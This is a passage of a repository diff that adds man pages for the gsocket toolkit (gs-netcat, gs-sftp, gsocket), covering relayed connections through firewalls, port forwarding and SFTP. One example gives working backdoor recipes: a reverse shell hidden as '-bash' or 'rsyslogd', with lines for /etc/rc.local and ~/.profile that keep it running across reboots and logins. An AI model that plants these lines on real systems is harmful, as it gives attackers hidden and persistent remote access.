.Dl $ gs-netcat -s MySecret -i -T
.Pp
.Nm Example 3
- Execute a command when a client connects:
.Dl $ gs-netcat -s MySecret -l -e 'echo hello world; id; exit'
.Pp
Connect client to the server:
.Dl $ gs-netcat -s MySecret
.Pp
.Nm Example 4
- Pipe data from client to server:
.Dl $ gs-netcat -s MySecret -l -r >warez.tar.gz
.Pp
Client to read 'warez.tar.gz' and pipe it to the server.
.Dl $ gs-netcat -s MySecret <warez.tar.gz
.Pp
.Nm Example 5
- Server to act as a SOCKS4/4a/5 server:
.Dl $ gs-netcat -s MySecret -l -S
.Pp
Client to listen on TCP port 1080 and forward any new connection to the server's SOCKS server:
.Dl $ gs-netcat -s MySecret -p 1080
.Pp
.Nm Example 6
- TCP Port Forward all connections to 192.168.6.7:22. Server:
.Dl $ gs-netcat -s MySecret -l -d 192.168.6.7 -p 22
.Pp
Client to listen on TCP port 2222 and forward any new connection to the the server. The server then forwards the connection to 192.168.6.7:22.
.Dl $ gs-netcat -s MySecret -p 2222
.Dl $ ssh -p 2222 root@127.0.0.1
.Pp
The same using 1 command:
.Dl $ ssh -o ProxyCommand='gs-netcat -s MySecret' root@ignored
.Pp
.Nm Example 7
- Creating an SFTP server using gs-netcat:
.Dl $ gs-netcat -s MySecret -l -e /usr/lib/sftp-server
.Pp
The sftp-server binary speaks the sftp-protocol to stdin/stdout. The sftp binary also speaks sftp-protocol to stdin/stdout. The tool can be used to connect both via GSRN (encrypted) and access the SFTP server running on the server's side from the client via the GSRN (encrypted).:
.Dl $ export GSOCKET_ARGS='-s MySecret'
.Dl $ sftp -D gs-netcat
.Pp
.Nm Example 8
- Encrypted Reverse PTY shell hidden as '-bash' in the process list - also known as 'backdoor':
.Dl $ (GSOCKET_ARGS="-s MySecret -liqD" exec -a -bash gs-netcat)
.Pp
The following line in /etc/rc.local starts the backdoor after each system reboot:
.Dl GSOCKET_ARGS="-s MySecret -liqD" HOME=/root TERM=xterm-256color SHELL="/bin/bash" /bin/bash -c\ "cd $HOME; exec -a rsyslogd /usr/local/bin/gs-netcat"
.Pp
The following line in /etc/rc.local starts a port-forward to 127.0.0.1:22:
.Dl GSOCKET_ARGS="-k MySecret2 -lqD -d 127.1 -p22" /bin/bash -c\ "exec -a rsyslogd /usr/local/bin/gs-netcat"
.Pp
The following line in the user's ~/.profile starts the backdoor (once) when the user logs in. All in one line:
.Dl killall -0 gs-netcat 2>/dev/null || (GSOCKET_ARGS="-s MySecret3 -liqD" SHELL=/bin/bash exec -a -bash /usr/local/bin/gs-netcat)
.Pp
The '(...)' brackets start a sub-shell which is then replaced (by exec) with the gs-netcat process. The process is hidden (as -bash) from the process list.
.Pp
Client to connect to the backdoor:
.Dl $ gs-netcat -s MySecret -i
.Sh ENVIRONMENT
The following environment variables can be set to control the behavior of
.Nm
.Pp
.Nm GSOCKET_SOCKS_IP
.Dl Specify the IP address of the TOR server (or any other SOCKS server). Use together with -T. Default is 127.0.0.1.
.Pp
.Nm GSOCKET_SOCKS_PORT
.Dl The port number of the TOR server (or any other SOCKS server). Use together with -T. Default is 9050.
.Pp
.Nm GSOCKET_ARGS
.Dl A string containing additional command line parameters. First the normal command line parameters are processed and then the command line parameters from GSOCKET_ARGS.
.Sh SECURITY
Passing the password as command line parameter is not secure. Consider using the -k option or GSOCKET_ARGS or enter the password when prompted:
.Pp
.Dl $ gs-netcat -k <file>
.Pp
.Dl $ export GSOCKET_ARGS="-s MySecret"
.Dl $ gs-netcat
.Pp
.Nm 1.
The security is end-2-end. This means from User-2-User (and not just to the GSRN). The GSRN relays only (encrypted) data to and from the users.
.Pp
.Nm 2.
The session is 256 bit and ephemeral. It is freshly generated for every session and generated randomly (and is not based on the password). It uses OpenSSL's SRP with AES-256 and a 4096 Prime.
.Pp
.Nm 3.
The password can be 'weak' without weakening the security of the session. A brute force attack against a weak password requires a new TCP connection for every guess.
.Pp
.Nm 4.
Do not use stupid passwords like 'password123'. Malice might pick the same (stupid) password by chance and connect. If in doubt use gs-netcat -g to generate a strong one. Alice's and Bob's password should at least be strong enough so that Malice can not guess it by chance while Alice is waiting for Bob to connect.
.Pp
.Nm 5.
If Alice shares the same password with Bob and Charlie and either one of them connects then Alice can not tell if it is Bob or Charlie who connected.
.Pp
.Nm 6.
Assume Alice shares the same password with Bob and Malice. When Alice stops listening for a connection then Malice could start to listen for the connection instead. Bob (when opening a new connection) can not tell if he is connecting to Alice or to Malice. Use -a <token> if you worry about this. TL;DR: When sharing the same password with a group larger than 2 then it is assumed that everyone in that group plays nicely. Otherwise use SSH over the GS/TLS connection.
.Pp
.Nm 7.
SRP has Perfect Forward Secrecy. This means that past sessions can not be decrypted even if the password becomes known.
.Sh NOTES
The latest version is available from https://github.com/hackerschoice/gsocket/.
.Sh SEE ALSO
.Xr gsocket(1) ,
.Xr gs-sftp(1) ,
.Xr gs-mount(1) ,
.Xr blitz(1) ,
.Xr nc(1) ,
.Xr socat(1)
.Sh BUGS
Efforts have been made to have
.Nm
"do the right thing" in all its various modes. If you believe that it is doing the wrong thing under whatever circumstances, please notify me (skyper@thc.org) and tell me how you think it should behave.
@@ -0,0 +1,57 @@
.Dd October 12, 2020
.Dt GS-SFTP 1
.Os
.Sh NAME
.Nm gs-sftp
.Nd Secure File Transfer Protocol via Global Socket.
.Sh SYNOPSIS
.Nm gs-sftp
.Op Fl lTR
.Op Fl s Ar secret
.Op Fl k Ar keyfile
.Sh DESCRIPTION
The
.Nm
utility is a wrapper script for gs-netcat. It allows two users to establish a secure SFTP connetion via the Global Socket Relay Network (GSRN). This is useful in a scenario where both users are behind NAT/Firewall and unable to connect to each other directly.
.Pp
.Sh OPTIONS
.Bl -tag -width Ds
.It Fl s Ar secret
A password chosen by the user. Both users need to use the same password to connect.
.It Fl k Ar FILE
A file containing the password.
.It Fl l
Server mode. The default mode is client.
.It Fl R
Places server (-l) into a read-only mode. Attempts to open files for writing, as well as other operations that change the state of the filesystem, will be denied.
.It Fl T
Use TOR. The
.Nm
tool will connect via TOR to the GSRN. This requires TOR to be installed and running. The IP and PORT of the TOR server can be set using environment variables.
.El
.Pp
See
.Xr gs-netcat(1)
for more options.
.Sh EXAMPLES
.Nm Example 1
- SFTP Server listening for clients using password 'MySecret':
.Dl $ gs-sftp -s MySecret -l
.Pp
Connect sftp-client using the same password:
.Dl $ gs-sftp -s MySecret
.Pp
.Sh ENVIRONMENT
See
.Xr gs-netcat(1)
for a list of supported environment variables.
.Pp
.Sh SEE ALSO
.Xr gsocket(1) ,
.Xr gs-netcat(1) ,
.Xr sftp(1)
.Pp
.Sh BUGS
Efforts have been made to have
.Nm
"do the right thing" in all its various modes. If you believe that it is doing the wrong thing under whatever circumstances, please notify me (skyper@thc.org) and tell me how you think it should behave.
@@ -0,0 +1,240 @@
\# .TH gsocket 1 "08 October 2020" "1.0" "gssocket man page"
.Dd March 02, 2021
.Dt gsocket 1
.Os
.Sh NAME
.Nm gsocket
.Nd connect like there is no firewall. Securely.
.Sh SYNOPSIS
.Nm gsocket
.Op Fl qT
.Op Fl s Ar secret
.Op Fl k Ar keyfile
.Op Fl p Ar port
.Op Ar program
.Op Ar args ...
.Sh DESCRIPTION
The
.Nm
tool can be used to enable a program to communicate through a firewall in situations where it would not be possible to establish a direct connection to another host/workstation (NATed/firewalled). The typical scenario is two workstations that are on separate private networks and behind separate firewalls. The
.Nm
tool hijacks the network library functions (such as connect() and accept()) of the program and encrypts and redirects the traffic through the Global Socket Relay Network (GSRN).
.Pp
Neither workstation needs to open a port in their firewall nor accept incoming TCP connections.
.Pp
The connection is end-2-end encrypted using SRP (RFC 5054) with AES-256 and a 4096 Prime. The GSRN sees only the encrypted traffic.
.Pp
Common uses include:
.Pp
.Bl -bullet -offset indent -compact
.It
ssh from one workstation to another
.It
OpenVPN between two workstations
.It
netcat between two workstations
.It
and much, much more.
.El
.Pp
...while both workstations are behind NAT and firewalled.
.Pp
Abandon the thought of IP addresses and port numbers: Two programs should be able to communicate with each other as long as they know the same secret (rather than each other's IP address and port number). The
.Nm
tools establishes such a connection regardless and independent of the local IP address or geographical location. It does so by analyzing the program and replacing the IP Layer with its own transport through GSRN. The connection is end-2-end encrypted. The GSRN sees only the encrypted traffic.
.Pp
The typical scenario is a client/server arrangement such as ssh and sshd: Connections by ssh to any hostname ending in '.gsocket' are redirected (through the GSRN) to the (firewalled) sshd server.
.Pp
The redirection is done per program (and limited to that program only). The
.Nm
tool does not change the routing table and does not change the NAT nor the firewall settings. It does not require superuser privileges either.
.Pp
.Sh OPTIONS
.Bl -tag -width Ds
.It Fl s Ar secret
A secret chosen by the user. Both ends need to use the same secret to connect.
.It Fl k Ar file
A file containing the secret.
.It Fl g
Generate a secure random secret and output it to standard output.
.It Fl q
Quiet mode. Do not output any warnings or errors.
.It Fl T
Use TOR. The
.Nm
tool will connect through TOR to the GSRN. This requires TOR to be installed and running.
.It Fl p Ar port
TCP port range of listening ports to redirect [default=all].
.El
.Pp
Connections to any hostname ending in '*.gsocket' or to the IP Address '127.31.33.7' are redirected through the GSRN.
.Pp
Connections to any hostname ending in '*.thc' or to the IP Address '127.31.33.8' are first redirected through TOR and then through the GSRN.
.Sh EXAMPLES
.Nm Example 1
- OpenSSH between two firewalled workstations:
.Pp
Server:
.Dl $ gsocket -s MySecret /usr/sbin/sshd
Client:
.Dl $ gsocket -s MySecret ssh xaitax@gsocket
.Pp
.Nm Example 2
- netcat between two firewalled workstations:
.Pp
Server:
.Dl $ gsocket -s MySecret nc -lp 31337
Client:
.Dl $ gsocket -s MySecret nc gsocket 31337
.Pp
.Nm Example 3
- OpenVPN between two firewalled workstations:
.Pp
Server:
.Dl $ gsocket -s MySecret openvpn --dev tun1 --proto tcp-server --ifconfig 10.9.8.1 10.9.8.2
Client:
.Dl $ gsocket -s MySecret openvpn --dev tun1 --proto tcp-client --ifconfig 10.9.8.2 10.9.8.1 --remote gsocket
.Pp
.Nm Example 4
- IRCD between two firewalled workstations:
.Pp
Server:
.Dl $ gsocket -s MySecret inspircd --nolog --nofork
Client:
.Dl $ gsocket -s MySecret irssi -c gsocket
.Pp
.Nm Example 5
- Socat between two firewalled workstations:
.Pp
Server:
.Dl $ gsocket -s MySecret socat - TCP_LISTEN:31337
Client:
.Dl $ gsocket -s MySecret socat - TCP:gsocket:31337
.Pp
.Sh SYSTEMCTL INSTALLATION
It is possible to make any service/daemon accessible through any firewall. The service is then only acessible through the GSRN and only if the client knows the secret. No port or service is exposed to the public Internet and the existence of the service remains hidden. This example makes openssh-server (sshd) accessible through the GSRN. Nobody, not even the GSRN operators, have access to the port, daemon or service (they do not know the secret). The new service coexists with the existing openssh-server and does not interfere with the existing openssh-server.
.Pp
1. Copy /etc/systemd/system/sshd to /etc/systemd/system/gs-sshd
.Pp
2. Edit /etc/systemd/system/gs-sshd and change this line:
.Dl ExecStart=/usr/sbin/sshd -D $SSHD_OPTS
to
.Dl ExecStart=gsocket -s MySecret /usr/sbin/sshd -D $SSHD_OPTS
.Pp
3. Start the newly created service
.Dl # systemctl start gs-sshd
.Pp
4. Check the status
.Dl # systemctl status gs-sshd
.Pp
5. Connect from any other host to the newly created (hidden) openssh-server:
.Dl $ gsocket -s MySecret ssh user@gsocket
.Pp
.Sh TESTING
The
.Nm
tool uses the LD_PRELOAD method to hijack network calls from the calling process. It then concatenates the port number to the secret and spwans a gs-netcat process to forward the TCP connection. The setup can be tested with gs-netcat.
.Pp
.Nm Test 1
- gsocket server and gs-netcat client:
.Pp
Server:
.Dl $ gsocket -s MySecret nc -lp 1234 # TCP port is 1234
Client:
.Dl $ gs-netcat -s 1234-MySecret # Notice `<port>-<SECRET>`
.Pp
.Nm Test 2
- gsocket client and gs-netcat server:
.Pp
Server:
.Dl $ gs-netcat -s 1234-MySecret -l
Client:
.Dl $ gsocket -s MySecret nc blah.gsocket 1234
.Pp
Internally the
.Nm
tool (on the client side) forks a background gs-netcat process listening on 127.31.33.7 on a random TCP port. The
.Nm
tool then detects `nc` trying to resolve `blah.gsocket` and returns 127.31.33.7 to `nc`. The `nc` process then connects to 127.31.33.7 instead and the gs-netcat process (that got started automatically) takes the connection and forwards the traffic via the GSRN. The `nc` tool can also directly connect to 127.31.33.7 instead of blah.gsocket (for testing):
.Pp
Client:
.Dl $ gsocket -s MySecret nc -n 127.31.33.7 1234
.Pp
.Nm Test 3
- SSHD via gsocket:
.Pp
Server:
.Dl $ gsocket -s MySecret /usr/sbin/sshd -D -p 1234
Client:
.Dl $ gs-netcat -s 1234-MySecret
.Dl SSH-2.0-OpenSSH_8.4p1 Debian-2
.Pp
Use gs-netcat as a port-forwarder and ssh to connect:
.Pp
Client:
.Dl $ gs-netcat -s 1234-MySecret -p 44222
.Dl $ ssh -p 44222 user@127.1
.Pp
.Nm Test 4
- SSH via gsocket:
.Pp
On the server start a gs-netcat port forward to forward incoming GSRN connections to the SSHD on localhost:
.Pp
Server:
.Dl $ gs-netcat -s 22-MySecret -l -d 127.0.0.1 -p 22
Client:
.Dl $ gsocket -s MySecret ssh user@gsocket
.Pp
.Sh ENVIRONMENT
The following environment variables can be set to control the behavior of
.Nm
.Pp
.Nm GSOCKET_SOCKS_IP
.Dl Specify the IP address of the TOR server (or any other SOCKS server). Use together with -T. Default is 127.0.0.1.
.Pp
.Nm GSOCKET_SOCKS_PORT
.Dl The port number of the TOR server (or any other SOCKS server). Use together with -T. Default is 9050.
.Pp
.Nm GSOCKET_ARGS
.Dl A string containing additional command line parameters. First the normal command line parameters are processed and then the command line parameters from GSOCKET_ARGS.
.Sh SECURITY
Passing the password as command line parameter is not secure. Consider using the -k option or GSOCKET_ARGS or enter the password when prompted:
.Pp
.Dl $ gsocket -k <file>
.Pp
.Dl $ export GSOCKET_ARGS="-s MySecret"
.Dl $ gsocket
.Pp
.Nm 1.
The security is end-2-end. This means from user-2-user (and not just to the GSRN). The GSRN relays only (encrypted) data to and from the users.
.Pp
.Nm 2.
The session is 256 bit and ephemeral. It is freshly generated for every session and generated randomly (and is not based on the password). It uses OpenSSL's SRP with AES-256 and a 4096 Prime.
.Pp
.Nm 3.
The password can be 'weak' without weakening the security of the session. A brute force attack against a weak password requires a new TCP connection for every guess.
.Pp
.Nm 4.
Do not use stupid passwords like 'password123'. Malice might pick the same (stupid) password by chance and connect. If in doubt use gs-netcat -g to generate a strong one. Alice's and Bob's password should at least be strong enough so that Malice can not guess it by chance while Alice is waiting for Bob to connect.
.Pp
.Nm 5.
If Alice shares the same password with Bob and Charlie and either one of them connects then Alice can not tell if it is Bob or Charlie who connected.
.Pp
.Nm 6.
Assume Alice shares the same password with Bob and Malice. When Alice stops listening for a connection then Malice could start to listen for the connection instead. Bob (when opening a new connection) can not tell if he is connecting to Alice or to Malice. Use -a <token> if you worry about this. TL;DR: When sharing the same password with a group larger than 2 then it is assumed that everyone in that group plays nicely. Otherwise use SSH over the GS/TLS connection.
.Pp
.Nm 7.
SRP has Perfect Forward Secrecy. This means that past sessions can not be decrypted even if the password becomes known.
.Sh NOTES
The latest version is available from https://github.com/hackerschoice/gsocket/.
.Sh SEE ALSO
.Xr gs-netcat(1) ,
.Xr gs-sftp(1) ,
.Xr gs-mount(1) ,
.Xr blitz(1) ,
.Xr nc(1) ,
.Xr socat(1)
.Sh BUGS
Efforts have been made to have
.Nm
"do the right thing" in all its various modes. If you believe that it is doing the wrong thing under whatever circumstances, please notify me (skyper@thc.org) and tell me how you think it should behave.
Binary file not shown.
Binary file not shown.
+1
View File
@@ -0,0 +1 @@
dwm-plugin
+1
View File
@@ -0,0 +1 @@
dwm-plugin
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Loaded 100 of 110 files, more files were not shown because too many files have changed in this diff. Show more